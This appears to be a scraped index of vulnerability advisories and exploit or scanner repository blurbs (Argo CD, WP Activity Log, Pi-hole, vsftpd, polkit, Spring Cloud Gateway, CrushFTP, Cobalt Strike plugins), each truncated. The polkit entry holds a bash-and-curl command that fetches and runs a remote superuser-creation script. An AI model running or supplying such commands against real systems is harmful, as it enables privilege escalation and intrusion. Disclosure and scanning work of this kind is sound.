EUVD-2026-98917

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. From 2.10.0 until 3.3.15, 3.4.10, 3.5.4, and 3.6.0-rc2, Argo CD creates PostDelete resource hooks without applying the AppProject destination and resource authorization checks used during ordinary synchronization. The omitt...

CVE-2026-77459

Argo CD (versions 2.10.0 through 3.3.15 , 3.4.10 , 3.5.4 , and 3.6.0-rc2 ) contains a vulnerability where PreDelete and PostDelete resource hooks bypass AppProject destination and resource authorization checks. While standard synchronization checks for namespaces, servers, and allow/deny lists ar...

CVE-2026-77459 Argo CD: AppProject destination-namespace and resource restrictions bypassed by PreDelete/PostDelete resource hooks

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. From 2.10.0 until 3.3.15, 3.4.10, 3.5.4, and 3.6.0-rc2, Argo CD creates PostDelete resource hooks without applying the AppProject destination and resource authorization checks used during ordinary synchronization. The omitt...

CVE-2026-54806

WP Activity Log PHP Object Injection CVE-2026-54806 PoC 📜 Description CVE-2026-54806 is a critical CVSS 9.8 unauthenticated PHP Object Injection vulnerability in the WP Activity Log WordPress plugin wp-security-audit-log by Melapress. An unauthenticated attacker can inject serialized PHP objects...

xsscrapy

xsscrapy Fast, thorough, XSS/SQLi spider. Give it a URL and it'll test every link it finds for cross-site scripting and some SQL injection vulnerabilities. See FAQ for more details about SQLi detection. From within the main folder run: ./xsscrapy.py -u http://example.com If you wish to login then...

CVE-2024-28247-Pi-hole-Arbitrary-File-Read

CVE-2024-28247 Pi-hole Arbitrary File Read Description This repository contains an exploit for CVE-2024-28247, a high vulnerability CVSS 7.6 discovered in Pi-hole, a DNS sinkhole widely used to block advertisements and track domains at the network level. The vulnerability arises from the...

CVE-2020-24597

Made by HK CVE-2020-24597: Directory traversal in commedia to RCE Note: Because Joomla core 3.9.21 fixed improperly, therefore this bug has't patched improperly. I can bypass this patch eseaily. I want to keep this secret until this bug will have been fixed completely. Link...

CVE-2018-3760

CVE-2018-3760 Rails Asset Pipeline Directory Traversal Vulnerability Found by Orange Tsai Note : By default, Rails apps running in production mode are not vulnerable to this exploit. Exploit: curl -v...

CVE-2025-55182

CVE-2025-55182 Scanner This repository contains a scanner tool for CVE-2025-55182 RCE and CVE-2025-55183 Source Code Disclosure in Next.js React Server Components RSC. ⚠️ Disclaimer This tool is for educational and authorized testing purposes only. Do not use this tool on systems you do not own or...

CVE-2011-2523

vsftpd 2.3.4 Backdoor Exploit FTP Server: vsftpd Vulnerable version: 2.3.4 CVE: CVE-2011-2523 Vulnerability: Backdoor on port 6200 opened when user entered strings appending : in ftp USER param Notes: The RCE doesn't need to be authenticated...

payloads

payloads Git All the Payloads! A collection of web attack payloads. Pull requests are welcome! Usage run ./get.sh to download external payloads and unzip any payload files that are compressed. Payload Credits fuzzdb - https://github.com/fuzzdb-project/fuzzdb SecLists -...

CVE-2025-60503

CVE-2025-60503 — Stored Cross-Site Scripting XSS in UltimatePOS UltimateFosters v4.8 Publication date: 2025-10-30 CVE ID: CVE-2025-60503 RESERVED Researcher: Vivien Lebas Vendor: UltimateFosters Product: UltimatePOS Affected version: 4.8 Vulnerability type: Stored Cross-Site Scripting XSS Severit...

redis-cve-2026-23479-scanner

CVE-2026-23479 Scanner Redis Use-After-Free vulnerability CVE-2026-23479 detection tool. Automatically checks Redis instances for vulnerability, misconfigurations, and exposure risks. Affected Versions Branch| Affected| Fixed ---|---|--- 7.2.x| 7.2.0 - 7.2.13| 7.2.14 7.4.x| 7.4.0 - 7.4.8| 7.4.9...

poppy

poppy : CVE-2021-4034 CVE-2021-4034 PoC , polkit 0.131 Usage Tested on Arch Linux Manjaro & Axyl OS git clone https://github.com/tahaafarooq/poppy make ./poppy Super user creation exploit bash -c "$curl -fsSL https://raw.githubusercontent.com/tahaafarooq/poppy/main/suuser.sh" gcc -shared su.c -o...

cve-2022-22947

Spring Cloud Gateway Actuator API SpEL Code Injection CVE-2022-22947 Build $ git clone https://github.com/twseptian/cve-2022-22947.git $ cd cve-2022-22947 $ docker build . -t cve-2022-22947 $ docker run -p 9000:9000 --name cve-2022-22947 cve-2022-22947 PoC send the following request to add a rout...

ShatteredFTP

ShatteredFTP Dual exploiter Overview This exploit script targets vulnerabilities in CrushFTP’s user creation/authentication process, offering dual mode support: CVE-2025-2825 Exploits a flaw in XML payload handling during user creation. Use this when your target’s web interface responds per the...

CVE-2026-45585

🔑 CVE-2026-45585 - YellowKey 🔓 Advanced mitigation for CVE-2026-45585 YellowKey 📌 What is YellowKey Vulnerability? YellowKey CVE-2026-45585 is a zero-day physical attack vulnerability discovered in May 2026 that allows attackers with physical access to completely bypass BitLocker encryption on...

LSTAR-EN

LSTAR - Aggressor Translated to English! By Google Translate and Deepl For the purpose of simplifying CS right-click and facilitating self-integration, refer to a large number of post-infiltration plugins Refactored and enriched host-related credential acquisition, multi-level intranet penetratio...

SecureAI-Scan

SecureAI-Scan An offline scanner for the code that talks to LLMs, MCP servers, vector stores, and Agent Skills. It finds prompt injection, MCP command injection and path traversal, RAG data leaks, and poisoned skills, and it proves each finding with a source → sink trace through your real imports...

CVE-2023-33381-MitraStar-GPT-2741GNAC

CVE-2023-33381-MitraStar-GPT-2741GNAC CVE-2023-33381: OS command injection on MitraStar GPT-2741GNAC Device: GPT-2741GNAC Firmware Version: ARg5.8110WVN0b72 Vulnerability Description: Upon logging in via SSH, I immediately noticed the limited set of available commands and options. It became evide...